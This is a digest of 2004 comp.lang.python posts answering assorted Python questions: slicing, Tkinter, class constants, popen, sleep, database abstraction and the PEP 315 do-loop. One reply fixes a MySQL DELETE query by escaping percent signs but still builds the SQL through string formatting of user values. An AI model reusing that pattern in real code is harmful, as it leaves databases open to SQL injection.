of the line.  It could just as easily have been called "vlad", but using 
simple, descriptive names for variables makes the code easier to read 
(in most cases, this being the obvious counter-example).  In Python when 
you assign to something:

    x, y = v, t

you are creating a (possibly new) bound name (if something of the same 
name exists in a higher namespace it is shadowed by this bound name, so 
even if there was a built-in function called "prefix" my assignment to 
the name would have shadowed the name).

This line here says:

    prefix, line = line[:4],line[4:]

that is, assign the name "prefix" to the result of slicing the line from 
the starting index to index 4, and assign the name "line" to the result 
of slicing from index 4 to the ending index.  Under the covers the 
right-hand-side of the expression is creating a two-element tuple, then 
that tuple is unpacked to assign it's elements to the two variables on 
the left-hand-side.

Python is a fairly small language, if a linguistic construct works a 
particular way in one context it *normally* works that way in every 
context (unless the programmer explicitly changes that (and that's 
generally *only* done by meta-programmers seeking to create 
domain-specific functionality, and even then as a matter of style, it's 
kept to a minimum to avoid confusing people (and in this particular 
case, AFAIK there's no way to override variable assignment (though (evil 
;) ) people have proposed adding such a hook on numerous occasions)))).

The later line is simply manipulating the (string) object now referred 
to as "prefix":

    result.append( prefix[2:]+prefix[:2] )

that is, take the result of slicing from index 2 to the end and add it 
to the result of slicing from the start to index 2.  This has the effect 
of reversing the order of the 2-byte hexadecimal encodings of "characters".

Oh, and since someone took issue with my use of (new in Python 2.2) 
yield (luddites :) ;) ), here's a non-generator version using the same 
basic code pattern:

 >>> def splitter( line ):
...     line = line[9:] # skip prefix
...     result = []
...     while line:
...         prefix, line = line[:4],line[4:]
...         result.append( prefix[2:]+prefix[:2] )
...     return result
...   
 >>> splitter( ':10000000E7280530AC00A530AD00AD0B0528AC0BE2')
['28E7', '3005', '00AC', '30A5', '00AD', '0BAD', '2805', '0BAC', 'E2']

Have fun :) ,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From eric.brunel at N0SP4M.com  Thu Feb 26 04:55:15 2004
From: eric.brunel at N0SP4M.com (Eric Brunel)
Date: Thu, 26 Feb 2004 10:55:15 +0100
Subject: Taking Over the Screen - Tkinter
References: <8089854e.0402260131.3a3ad7b0@posting.google.com>
Message-ID: <c1kfb2$4dl$1@news-reader3.wanadoo.fr>

Fuzzyman wrote:
> I'm working on a presentation program that needs to produce 'full
> screen' images.
> 
> The effect will be something like a powerpoint presentation.
> In actual fact it's a song database with lyrics - and each 'screen'
> will need a widget for next verse, previous verse, chorus etc..... so
> what I'd really like is a Tk text widget that is full screen sized.
> 
> (For the moment I'll just use a large window - most of the work will
> be in building the interface to the database).
> 
> How do I either -
> 
> 1) Produce a borderless full screen window *or*
> 2) Detect the window size
> 
> using Tkinter pereferably................
> 
> 
> Thanks,
> 
> Fuzzy
> 
> http://www.voidspace.org.uk/atlantibots/pythonutils.html

To produce a borderless window: method overrideredirect on Toplevel's; this 
makes the window manager (if that has any meaning on your platform) ignore the 
window, so it doesn't draw any decorations.

To get the size of the screen: methods winfo_screenwidth and winfo_screenheight 
on any Tkinter object.

To resize your window: method geometry on Toplevel's; the geometry is encoded in 
a string with the format "WxH+X+Y", so you'll want:
"%sx%s+0+0" % (w.winfo_screenwidth(), w.winfo_screenheight())

You may also have to explicitely call the method tkraise on your borderless 
window on Windows, because such windows have a tendency to appear below all 
other ones.

HTH
-- 
- Eric Brunel <eric dot brunel at pragmadev dot com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From kmt at MailCentro.zzn.com  Wed Feb 25 15:31:55 2004
From: kmt at MailCentro.zzn.com (Keel Thaan)
Date: Wed, 25 Feb 2004 20:31:55 GMT
Subject: No Thoughts about Everything
In-Reply-To: <mailman.106.1077724046.8594.python-list@python.org>
References: <mailman.106.1077724046.8594.python-list@python.org>
Message-ID: <%C7%b.22026$M8.2005242@news4.srv.hcvlny.cv.net>

b-blochl wrote:

> static final double c=2.99792458e8;
> 
> That is the speed of light in vacuum in scientific (exponential) 
> notation. I use it in a class as a class variable. That means it will be 
> shared as a single copy of a variable among all of the objects 
> instantiated from that class. That is the meaning of the modifier 
> "static". With final I make it to a constant, that cannot changed by any 
> code. (double is self speaking, it is not necessary in python - as 
> anyone knows.) I dont like to use c as global variable.

> So, here again my Question:
> How can I create such a "class constant" (static final / recipe 5.15 and 
> 5.6 in one) in python as short as possible?


This will create c as an unmodifiable attribute:

	c = property(lambda self: 2.99792458e8)


Does that do what you want?



From stefnin at alussinan.org  Mon Feb  9 09:13:54 2004
From: stefnin at alussinan.org (Stéphane Ninin)
Date: 09 Feb 2004 14:13:54 GMT
Subject: Problem removing win32all (163)
References: <Xns948A8ED0A8A8Cstefninalussinanorg@212.27.42.68>
	<8yjctlgy.fsf@python.net>
Message-ID: <Xns948A9B48EE42stefninalussinanorg@212.27.42.68>

Also sprach Thomas Heller :

>>
>> Is there a clean way to remove the package ? 
>> Which directories, registry settings, must be cleaned ?
> 
> If the uninstall information is missing, you may get it back by
> *installing* the package again, and then uninstall it.
> I've used this recipe with several windows products, and in general it
> works well.
> 

I have tried, but for some reason, after reinstalling, and uninstalling
(and re-reinstalling and re-uninstalling, ad lib...),
in the "Add/remove programs",
the "Python 2.3 combined Win32 extensions" is still here.

And if I install the new version on top of this,
then in the "Add/remove software" panel, 
I will find the two versions.

Maybe this doesnot matter or maybe 
I should just remove some line in registry ?


-- 
Stephane

 

 


From cy.fbp.eryvtvne at ncbybtrglxn.pbz  Tue Feb  3 04:30:13 2004
From: cy.fbp.eryvtvne at ncbybtrglxn.pbz (JZ)
Date: Tue, 03 Feb 2004 10:30:13 +0100
Subject: get logical drives and their type
Message-ID: <1gqu105b1nimnfi2gpl2i847fg8af2m5su@4ax.com>

I found them in win32api. E.g.

win32api.GetLogicalDriveStrings()

--
JZ


From rajarshi at presidency.com  Thu Feb  5 20:04:22 2004
From: rajarshi at presidency.com (Rajarshi Guha)
Date: Thu, 05 Feb 2004 20:04:22 -0500
Subject: Bitsets in Python
References: <pan.2004.02.03.17.36.10.927614@presidency.com>
	<bvpqlt$82s$3@news.service.uci.edu>
Message-ID: <pan.2004.02.06.01.04.20.363164@presidency.com>

On Tue, 03 Feb 2004 19:56:36 -0800, Josiah Carlson wrote:

>>   does Python have any native support for bitsets? I dont seem to see
>>   anything in the standard library?
> 
> What do you mean 'bitsets'?  Give a list of functionality of your 
> 'bitsets', and it will be easy for us to tell you whether Python 
> includes it.

Sorry for th late reply. Thanks to everybody who responded. 

A little background to the problem - I'm evaluating molecular fingerprints
which use bitsets of length N and set certain bits on depending on whether
a feature is present. So I was essentially looking for Java style bitsets. 

In the end I wrote a small class which did the job (since all I need is to
keep track of which positions are on)

Thanks,

-- 
-------------------------------------------------------------------
Rajarshi Guha  <rajarshi at presidency.com> <http://jijo.cjb.net>
GPG Fingerprint: 0CCA 8EE2 2EEB 25E2 AB04  06F7 1BB9 E634 9B87 56EE
-------------------------------------------------------------------
Q:  What's purple and commutes?
A:  An abelian grape.



From jcarlson at nospam.uci.edu  Sat Feb 21 13:15:07 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 21 Feb 2004 10:15:07 -0800
Subject: class vs function ???
In-Reply-To: <1c764367.0402210857.579f59ab@posting.google.com>
References: <1c764367.0402210857.579f59ab@posting.google.com>
Message-ID: <c187c6$l88$1@news.service.uci.edu>

Python allows you to do basically whatever you want, that doesn't mean 
that what you do makes sense.

There are cases where embedding functions is useful (you don't want that 
function available to everything else in the module), but it doesn't 
help with data abstraction, which is the fundamental use of classes:

 >>> class blah:
...     def __init__(self, embed):
...         self.embedded = embed
...     def print_embedded(self):
...         print self.embedded
...
 >>> a = blah(5)
 >>> a.print_embedded()
5

To do this with embedded functions, you'd need to add an attribute to 
some returned object explicitly.

 >>> def blah2(embed):
...     def print_embedded():
...         print embed
...     print_embedded.print_embedded = print_embedded
...     return print_embedded
...
 >>> b = blah2(6)
 >>> b.print_embedded()
6


Now, the above works, but in my opinion, is ugly.  I suggest you try to 
do the following with embedded functions (it can be done, but is ugly):

class blah3:
     pass
c = blah3()
c.hello = 1
c.goodbye = 2
del c.hello
print c.goodbye


 > What is the difference between a class and a function in Python ???

Functionally, you can do the same with both.  Pragmatically, classes are 
easier to use for all non-trivial data abstraction.  I know my 
explanation hasn't been very good, but you really haven't looked at much 
Python code if you don't understand the difference between functions and 
classes.

  - Josiah


From matt_crypto at yahoo.co.uk  Fri Feb 13 18:48:21 2004
From: matt_crypto at yahoo.co.uk (Matt)
Date: 13 Feb 2004 15:48:21 -0800
Subject: Design Q: Changing the indexing of a list
Message-ID: <94b59a36.0402131548.48e3a59b@posting.google.com>

Hello, I was wondering if anyone could suggest a way of doing the
following in Python: I'm writing a class to handle strings of bits,
and I often need to number the bits in different ways,  e.g. from the
left starting at zero, or from the right starting at one, and so
forth. I'd quite like to be able to dynamically change how
subscripting works for individual objects, and maybe have that
behaviour transferred to any further objects that that individual
creates (e.g. a new bit string that's the logical negation of the
original). There's actually a couple of other things like that as
well, such as being able to set whether the "+" operation means
concatenation or addition for an object.

This might sound like a horrible thing to want to do, given that it
would then be hard to know what indexing or addition would do in any
given context, but it would be very convenient in the application I'm
looking at. Any suggestions on how I might go about this would be much
appreciated,

Matt


From nid_oizo at yahoo.com_remove_the_  Tue Feb 17 17:29:43 2004
From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury)
Date: Tue, 17 Feb 2004 17:29:43 -0500
Subject: Two sub-packages in different directories
Message-ID: <mBwYb.3715$Ks6.48439@nnrp1.uunet.ca>

Hi everyone,

	I want to know if it is possible to have two sub-packages of the same 
package in different directories.  For example, have mycompany.team1 and 
mycompany.team2 packages in two different directories, at least one not 
in the directory of mycompany package.  I'm on Windows and softlinks are 
not a solution.

Thx and Regards,

Nicolas


From glingl at aon.at  Mon Feb 23 18:35:43 2004
From: glingl at aon.at (Gregor Lingl)
Date: Tue, 24 Feb 2004 00:35:43 +0100
Subject: Stackless 3.0 for Python 2.3: new binaries
In-Reply-To: <mailman.145.1077390882.27104.python-list@python.org>
References: <mailman.145.1077390882.27104.python-list@python.org>
Message-ID: <403A8E4F.7080801@aon.at>



Christian Tismer schrieb:
> New Win32 binaries have been uploaded to the Stackless website.
> 
> Some compatibility issues with certain constructors
> have been solved.
> 
> Please let me know of any problems.
> 

Trying seriously to find out how to use stackless and what it is
good for ;-), I stumbled just in the beginning. While I was able to 
execute some of my Python programs, among them Tkinter-programs
and even recursive ones,

(1) I was not able to use Stackless from IDLE:

Python 2.3.3 Stackless 3.0 040221 (#51, Feb 15 2004, 22:37:26) [MSC 
v.1200 32 bit (Intel)] on win32
Type "copyright", "credits" or "license()" for more information.

     ****************************************************************
     Personal firewall software may warn about the connection IDLE
     makes to its subprocess using this computer's internal loopback
     interface.  This connection is not visible on any external
     interface and no data is sent to or received from the Internet.
     ****************************************************************

IDLE 1.0.2
 >>> 3*4
Traceback (most recent call last):
   File "C:\Python23\lib\idlelib\rpc.py", line 233, in asyncqueue
     self.putmessage((seq, request))
   File "C:\Python23\lib\idlelib\rpc.py", line 322, in putmessage
     s = pickle.dumps(message)
RuntimeError: maximum recursion depth exceeded

(2) I don't know where to put python23.exp (and what it is good
for). Maybe this is the reason for problem (1) ??

Regards, Gregor



> more to come soon - cheers -- chris



From ZZZ-ialbert-ZZZ at mailblocks-ZZZ.com-ZZZ  Sun Feb 29 18:13:48 2004
From: ZZZ-ialbert-ZZZ at mailblocks-ZZZ.com-ZZZ (Istvan Albert)
Date: Sun, 29 Feb 2004 18:13:48 -0500
Subject: A database-abstraction package?
In-Reply-To: <EZr0c.7454$rj4.100210@news2.e.nsc.no>
References: <EZr0c.7454$rj4.100210@news2.e.nsc.no>
Message-ID: <Qs-dnTQpOYm279_dRVn-hQ@giganews.com>

Thomas Weholt wrote:

> I need to make my project work with SQLite, MySQL and Postgresql, but I
> don't want to create and maintain a set of table-schemas for all of them.
> I'd rather specify this information in a common format and then let some
> piece of code generate and run the sql-statements to create the tables in
> the database. When I insert, update or delete records I also want a common
> interface. In my project I use alot of auto-increment primary keys so this
> would have to be handled as well.

That common format that you are looking for is called SQL. Make sure that
what you are trying to do is part of the SQL standard and that it is
supported in your engine. Usually you only need to worry about fancy
constructs such as nested selects or constraint checks.

It is not that hard to make a portable schema that can be loaded in all three,
but with MySQL in the picture the least common denominator is a very
simplistic one. Here are some hints:

http://home.fnal.gov/~dbox/SQL_API_Portability.html

There is a DB abstraction library called ADOdb:

http://php.weblogs.com/adodb_python

But I think your biggest worry should be that trying to support three
databases, you have no way of leveraging the strengths of the
more simplistic engines (MySQL and SQLlite), yet you have to account
for all of their weaknesses. This will lead to a  hodge-podge,
high-maintenance yet low performing data model that will be the weakest link.

i.



From mcfletch at rogers.com  Wed Feb 25 04:19:14 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 25 Feb 2004 04:19:14 -0500
Subject: Locate python home
In-Reply-To: <c1ho3e$2g8h$1@news.uit.no>
References: <c1ho3e$2g8h$1@news.uit.no>
Message-ID: <403C6892.1080303@rogers.com>

Thomas Aanensen wrote:

>Python could be located at different paths on computers (e.g. c:\python).
>How can I find this path?
>  
>
PythonWin 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] 
on win32.
Portions Copyright 1994-2001 Mark Hammond (mhammond at skippinet.com.au) - 
see 'Help/About PythonWin' for further copyright information.
 >>> import sys
 >>> sys.executable
'C:\\bin\\lang\\py23\\Lib\\site-packages\\Pythonwin\\pythonwin.exe'
 >>> sys.prefix
'C:\\bin\\lang\\py23'

V:\cinemon>python
Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] on 
win32
Type "help", "copyright", "credits" or "license" for more information.
 >>> import sys
 >>> sys.executable
'c:\\bin\\lang\\py23\\python.exe'
 >>> sys.prefix
'C:\\bin\\lang\\py23'

Python 2.3.3 (#1, Jan 29 2004, 21:46:45)
[GCC 3.2.2 [FreeBSD] 20030205 (release)] on freebsd5
Type "help", "copyright", "credits" or "license" for more information.
 >>> import sys
 >>> sys.executable
'/usr/local/bin/python'
 >>> sys.prefix
'/usr/local'

That is, sys.executable will give you the name of the executable which 
is currently running.  Py2exe, PythonWin, etceteras can all wind up 
making it say things you might not consider to be Python (they're not 
python.exe), but it's the best approximation to "where's Python" for 
most needs of the information.  sys.prefix/sys.exec_prefix is going to 
need platform-specific munging to make any sort of sense for most values 
of "where's Python".  See documentation on the sys module for more details.

HTH,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From max at alcyone.com  Tue Feb 17 16:00:36 2004
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 17 Feb 2004 13:00:36 -0800
Subject: PEP-315 ("do" loop)
References: <mailman.55.1076984559.31398.python-list@python.org>
Message-ID: <403280F4.C16FD379@alcyone.com>

Wayne Folta wrote:

> 1. It's clever, addresses a definite "wart", and is syntactically
> similar to try/except. But it's syntax seems like an acquired taste to
> me.

It's also analogous to the way do...while structures are written in
other languages, as well, so it lends familiarity by import.

I personally support the PEP, particularly with its generality.

> In a neater way? How about, instead, creating an "until" loop:
> 
> until line == "\n":
>     line = sys.stdin.readline()
[inserted indentation manually, didn't come through here]
> 
> Would be defined to work exactly like a while loop except the test is
> not evaluated the first time through the loop. Wouldn't this be akin
> to checking at the end of the loop, while maintaining a more while-ish
> syntax?

The problem is it doesn't read like it runs.  The suite is executed
_first_, then the test is repeatedly done and the suite is executed if
it is correct, like a while loop.  In some sense you have some "voodoo
magic" here because code is not executed in the order you write it. 
It's much better when it's written in the order it is executed, at least
as much as is reasonable.  The do...while form does that well.

Also, `until' isn't the right word here.  "Until x, do y" just means to
repeatedly do y until x becomes true.  In analogue with "while x, do y,"
at first glance all it seems is that the `until' construct does the
logical negation of the conditional expression, but nothing else; that
is, it would seem logical to conclude that

	until condition:
	    doSomething

is precisely the same as

	while not condition:
	    doSomething

which is not at all what you mean.  This form of `until' is indeed
included in other languages like Perl.  (That doesn't mean that Perl's
way is the right way, it's just that this is an area which would be ripe
for confusion.)

You could use some keyword other than `until', but I think the confusion
of ordering is still there.  Something gets executed, then a while loop
occurs, the best way to do that is to have that something appear above
the while loop, and that's just what the do...while form accomplishes.

> Is this at all useful or is something of the order of PEP-315 the way
> to go?

I think the PEP 315 method is superior.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ Sometimes life gets in the way / You'll survive, be strongest
    -- Des'ree


From spam-me-senseless at 127.0.0.1  Mon Feb  2 20:28:02 2004
From: spam-me-senseless at 127.0.0.1 (aum)
Date: Tue, 03 Feb 2004 14:28:02 +1300
Subject: Seeking Python->mySQL OR module
Message-ID: <opr2rs00sjthr2dr@news.orcon.net.nz>

Hi,

I'm looking for an object-relational layer, which can wrap a MySQL 
database into highly pythonic objects.

There seem to be dozens of packages which provide some of this 
functionality, but all the ones I've looked at so far have major drawbacks.

What I'm looking for in an object-relational wrapper layer is:

1) Pure python
2) Talks to standard MySQLdb python module
3) No need for third-party modules (apart from standard python modules)
3) Can access *existing* tables on *existing* databases, without me 
needing to
    create python classes which define the columns
4) Can query existing databases to get table names, and open those tables
5) On opening the tables, can get a list of column names
6) Makes tables available as python objects
7) Elegant pythonic interface to these objects
8) No requirement to use SQL statements, but the ability to do so if 
desired

Any suggestions?

Thanks in advance
a


From bart_nessux at hotmail.com  Sun Feb 29 15:27:56 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Sun, 29 Feb 2004 15:27:56 -0500
Subject: Speed Comparison Perl Python & C
References: <c1t89m$a3u$1@solaris.cc.vt.edu>
	<du7y8qlahx9.fsf@lehtori.cc.tut.fi>
Message-ID: <c1thrd$3ug$1@solaris.cc.vt.edu>

Ville Vainio wrote:

>>>>>> "Bart" == Bart Nessux <bart_nessux at hotmail.com> writes:
> 
>     Bart> fair test. I thought C would do this much faster than it
>     Bart> did. Any ideas?
> 
> Your program prints stuff at every iteration, so it mostly measures I/O
> performance. Drop out the print, or print every 1000th item, and you
> will start seeing a significant differences...
> 
> This is also a textbook example of a case where using C doesn't make
> much sense performace-wise. Many seem to believe that using C/C++ also
> magically speeds up I/O, and choose it over alternatives because their
> network server "needs to be fast".
> 

I would be one of the many that you refer to. I've listened to too many
people talk about the speed of C compared to python or other interpreted
languages. Obviously, these people talked of this speed difference to be a
generality (anything done is C is *much* faster than anything equivalent in
Python). My test doesn't support that. It is faster, but not significantly.

I think C is *significantly* faster when it's being used by someone who
*knows* what they're doing and more importantly, they understand *why* C is
faster for the task. That's something that I currently lack... that
understanding. That's why I experiment with the two and post to this group.

Thanks,
Bart


From dcarrera at math.umd.edu  Wed Feb 18 15:29:56 2004
From: dcarrera at math.umd.edu (Daniel Carrera)
Date: Wed, 18 Feb 2004 15:29:56 -0500
Subject: Python license - again
Message-ID: <20040218202955.GA1980@math.umd.edu>

Sorry guys.

After a second look I realized that I missed a relevant footnote:

(1) GPL-compatible doesn't mean that we're distributing Python under
    the GPL.  All Python licenses, unlike the GPL, let you distribute
    a modified version without making your changes open source.  The
    GPL-compatible licenses make it possible to combine Python with
    other software that is released under the GPL; the others don't.


So this means that Python is a BSD-style license, correct?

Cheers,
-- 
Daniel Carrera | No trees were harmed in the generation of this  e-mail.
PhD student.   | A significant number of electrons were, however, severely 
Math Dept. UMD | inconvenienced.




From gerrit at nl.linux.org  Tue Feb  3 04:50:39 2004
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Tue, 3 Feb 2004 10:50:39 +0100
Subject: Produce anti-noise
In-Reply-To: <bvn5j8$mg5$1@news.service.uci.edu>
References: <56f42e53.0402021410.5f2b2d93@posting.google.com>
	<bvmlik$kam$06$1@news.t-online.com>
	<bvmo66$afc$1@news.service.uci.edu>
	<bvmoq7$ki$00$1@news.t-online.com>
	<bvn5j8$mg5$1@news.service.uci.edu>
Message-ID: <20040203095039.GA4261@nl.linux.org>

Josiah Carlson wrote:
> I am curious though, isn't an inverse in phase just a phase shift of 180 
> degrees?  If so, shouldn't inverting the phases of all input waveforms 
> (if we were to decompose the signal) produce an output that is 
> funnctionally an amplitude inversion?

That's only true for sin(x).

I think a phase shift is measured in time or as a fraction of the
period, not in degrees. Suppose you have a simple harmonic oscillator,
then a phase shift of a half period means you get a oscillator which
exactly cancels the first one. In the case of harmony, the oscillation
is described with trigonometric functions, so in the simplest case we
define the period to me 2*Pi (or 360 degrees). A half period would then
be Pi (180 degrees) - I think you're confused with that case...

But here, of course, we have no harmonic oscillation, and certainly not
a period of 2*Pi.

yours,
Gerrit.



From tim.golden at viacom-outdoor.co.uk  Fri Feb 27 03:50:02 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Fri, 27 Feb 2004 08:50:02 -0000
Subject: file() and Win32 security attributes
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434733@tdi_nt9.internal.viacom-outdoor.co.uk>

GK> how can I force file() to create files that
GK> have "ALL ACCESS FOR EVERYONE" security attributes? Other than by a
GK> major rewrite of my existing code modules replacing the existing
GK> "native-python" code by win32file / win32security calls? 

In short, I don't believe you can (other than reworking the necessary
Python module source and rebuilding...). However (and I'm not an NT
security guru by any means) I think you can up permissions so that the 
files in a directory inherit the folder's permissions. This won't of 
course help you if you want to create files in arbitrary directories.

>In case you're wondering what is happening here: 
>
>- user A with admin rights logs on to NT and uses python to create a
>file
>- user A logs off
>- user B without admin rights logs on to NT and uses python to access
>said file -> doesn't work, because B has no admin rights and cannot
>access files created by an administrator.

Strictly, it doesn't matter who the file is created by, but rather
what permissions it acquires during its creation. (The ownership 
might matter as a tie-breaker but I'm not sure what happens if an
administrator removes my permissions on a file which I own).

I do have a rough-edged nt_security module (based on the win32all/pywin32
stuff)
which does something to simplify ACL maintenance. If you're interested, let
me
know.

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star Internet. The
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From pinard at iro.umontreal.ca  Mon Feb 16 14:17:53 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Mon, 16 Feb 2004 14:17:53 -0500
Subject: Hashability of classes, old and new
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEBMIPAB.tim.one@comcast.net>
References: <20040216141555.GA3567@titan.progiciels-bpi.ca>
	<LNBBLJKPBEHFEDALKOLCEEBMIPAB.tim.one@comcast.net>
Message-ID: <20040216191753.GA9702@titan.progiciels-bpi.ca>

[Tim Peters]
> [Fran?ois Pinard]
> > Hi, people.  I observe that there is a difference in hashability
> > between old-style and new-style instances, when they are comparable.
> > I wonder what [...] meaning I should make out of this.

> You're looking at bugs, and new-style behavior will change.  See:

>     "New style classes and __hash__"
>     http://www.python.org/sf/660098

Thanks for your reply.  It's somehow comforting to learn that it is a
bug.  For a moment, I thought I got it all wrong! :-)



From peterstrempel at yahoo.com  Tue Feb 17 02:44:45 2004
From: peterstrempel at yahoo.com (Peter Strempel)
Date: Tue, 17 Feb 2004 08:44:45 +0100
Subject: New SolarWolf, 1.5
References: <mailman.54.1076978618.31398.python-list@python.org>
Message-ID: <dct8g1-7t.ln1@ID-66900.news.dfncis.de>

Pete Shinners wrote:
> There is a new version of SolarWolf available.

First impression: "Wow"
Second impression: "This is all pure Python???"

I have been using Pygame for quite a while now for prototyping what would be
later done in C (excellent toolset, by the way), but didn't expect it's
possible to write a full blown game in pure Python with it. I have been
wrong. :*)

Keep up the good work!

 Peter


From http  Wed Feb 18 23:02:24 2004
From: http (Paul Rubin)
Date: 18 Feb 2004 20:02:24 -0800
Subject: How can I waste time ?
References: <282f826a.0402181935.2757359f@posting.google.com>
Message-ID: <7x3c97af8v.fsf@ruckus.brouhaha.com>

richardshea at fastmail.fm (Richard Shea) writes:
> I want my script to pause for a pre-determined number of seconds. How
> do you do that ?

import time
time.sleep(3)  # sleep 3 seconds


From prouleau at impathnetworks.com  Sat Feb  7 15:43:31 2004
From: prouleau at impathnetworks.com (Pierre Rouleau)
Date: Sat, 07 Feb 2004 15:43:31 -0500
Subject: software design question
In-Reply-To: <c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
Message-ID: <L5cVb.14719$ZN1.775584@news20.bellglobal.com>

> 
> Ok, the following is the case:
> I got a GUI. This is the base class (automatically generated) from which i
> derive a class that does the implementation. However, since that may become
> rather big I devided the functionality into different modules, i.e. one for
> presentation, one for file-IO, one for help-topic related stuff, etc.
> So this main file imports the modules that implement the functionality.
> Obviously these modules need to access things like "enable action"s, install
> hooks, etc. from the "main part".
> And thats why the circular dependency.
> 
> I know that circular dependencies are rather bad than helpful, but the only
> way to circumvent this is to build everything into one big block - which I
> find is rather worse: the source file grows much too large to maintain a
> good overview.
> 
> So the question is rather: how to make a better design?
> 


Why not look at the GUI as a "presentation layer" that provides access 
to the program functionality, like file I/O, help access, etc.  Then the 
file I/O, help, (etc...) can be written without any knowledge to the GUI 
(and therefore testable from a python shell or a testing script) and the 
Gui code just call the File I/O, help functions or members.  If you need 
  callbacks, then provide callbacks.   This way you would decouple the 
GUI from the system functionality.  Only GUI code would import the other 
modules.  The File I/O, help (etc...) would not know anything about the 
GUI implementation requirements.

Hope that helps,

Pierre





From claird at lairds.com  Thu Feb 19 09:40:27 2004
From: claird at lairds.com (Cameron Laird)
Date: Thu, 19 Feb 2004 14:40:27 -0000
Subject: os.popen
References: <c12ea1$ivs$1@solaris.cc.vt.edu> <4034C623.3030206@draigBrady.com>
Message-ID: <1039imrc6ev73a1@corp.supernews.com>

In article <4034C623.3030206 at draigBrady.com>,  <P at draigBrady.com> wrote:
>Bart Nessux wrote:
>> When using os.popen, at what point is the process actually started? Take 
>> the example below... would the first or second line actually execute the 
>> command? If it's the first line, then why would I want to use the second 
>> line at all unless I wanted to see on the console what happened?
>> 
>> ping = os.popen('sh ./ping.sh')
>
>this will run until the buffer between the ping process and the python
>app is full. This is 4k under linux. Then the ping process will block
>until data is read as there is no where to put it's output.
>
>> ping.read()
>
>This will read what's currently in the buffer between the processes.
>You will need to do this in a loop.
>
>alternatively if you don't care about the output then you
>can throw it away, and hence remove the need for the ping.read() like:
>
>ping = os.popen("sh ./ping.sh > /dev/null")
>
> > ping.close()
>
>This will wait for the ping process to finish.
>
>To tell it to finish you will need to do something like:
>   ping = popen2.Popen3("sh ./ping.sh > /dev/null")
>   os.kill(ping.pid, signal.SIGTERM)
>   ping.wait()
			.
			.
			.
1.  Why 
      sh ./ping.sh ...
    rather than
      ./ping.sh ...
    ?
2.  For more typical processes that launch and run to 
    completion, yes, to the best of my knowledge, it 
    *is* feasible to simplify 
      op = os.popen(command)
      op.read()
      op.close()
    to just
      op = os.popen(command)
      op.close()
    I need to study the Windows-side implementation a bit
    more ...
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From bob at redivi.com  Sun Feb 29 13:07:47 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sun, 29 Feb 2004 13:07:47 -0500
Subject: emulate a key press
References: <c1t56d$1hl$1@solaris.cc.vt.edu> <200402291302548930%bob@redivicom>
Message-ID: <2004022913074711272%bob@redivicom>

On 2004-02-29 13:02:54 -0500, Bob Ippolito <bob at redivi.com> said:

> On 2004-02-29 11:51:54 -0500, Bart Nessux <bart_nessux at hotmail.com> said:
> 
>> This probaly isn't possible with Python, but I thought I'd ask.
>> 
>> I want to emulate a key press programatically. I want the computer (G5
>> running Mac OSX 10.3) to think that the user has pressed the space bar on
>> the keyboard. Any module in Python that makes this easy? If not, I'll do
>> something in C.
> 
> I'm pretty sure you'll have to do that in C, I don't believe the API is 
> wrapped.  An even easier way would be to use Pyrex to create a Python 
> extension for what you are trying to do.

Oh, and a better place to ask this question would probably be the 
pythonmac-sig list.

-bob



From kraus at hagen-partner.de  Fri Feb 27 02:40:24 2004
From: kraus at hagen-partner.de (Wolfram Kraus)
Date: Fri, 27 Feb 2004 08:40:24 +0100
Subject: escaping % in a string???
In-Reply-To: <P5C%b.2944$506.2797@fed1read05>
References: <P5C%b.2944$506.2797@fed1read05>
Message-ID: <c1ms95$mm3$1@ork.noris.net>

Heyho!

Amy G wrote:
> I am trying to execute the following MySQL query:
> 
> c.execute("""DELETE FROM pending WHERE userid=%s AND subject LIKE
> '%%s%'""" %(userid, phrase))

Use %%
c.execute("""DELETE FROM pending WHERE userid=%s AND subject LIKE 
'%%%s%%'""" %(userid, phrase))


> This returns an error saying: ValueError: unsupported format
> character ''' (0x27) at index 63
> 
> I can fix this by setting phrase = "%" + phrase + "%"
> 
> and then c.execute("""DELETE FROM pending WHERE userid=%s AND subject
> LIKE '%s'""" %(userid, phrase))
> 
> But is there a way to escape the % signs in the first execute
> statement?
> 
> Thanks in advance for any help. Sorry about the easy question.
> 

Stay Rude!
Wolfram



From wmwd2zz02 at sneakemail.com  Tue Feb 24 21:13:50 2004
From: wmwd2zz02 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Wed, 25 Feb 2004 15:13:50 +1300
Subject: Nostalgic instruction sequences (Re: Python Productivity Gain?)
In-Reply-To: <no2dnSHcxqGCQqbdRVn-ig@comcast.com>
References: <mailman.16.1077122875.27104.python-list@python.org>
	<403687e1$1@nntp0.pdx.net> <40368BF3.2FE82B1A@engcorp.com>
	<c1bml2$1h2f64$1@ID-169208.news.uni-berlin.de>
	<m3smh2gfkk.fsf@pc150.maths.bris.ac.uk>
	<no2dnSHcxqGCQqbdRVn-ig@comcast.com>
Message-ID: <c1h0d3$1hgg0v$1@ID-169208.news.uni-berlin.de>

Gordon Airport wrote:
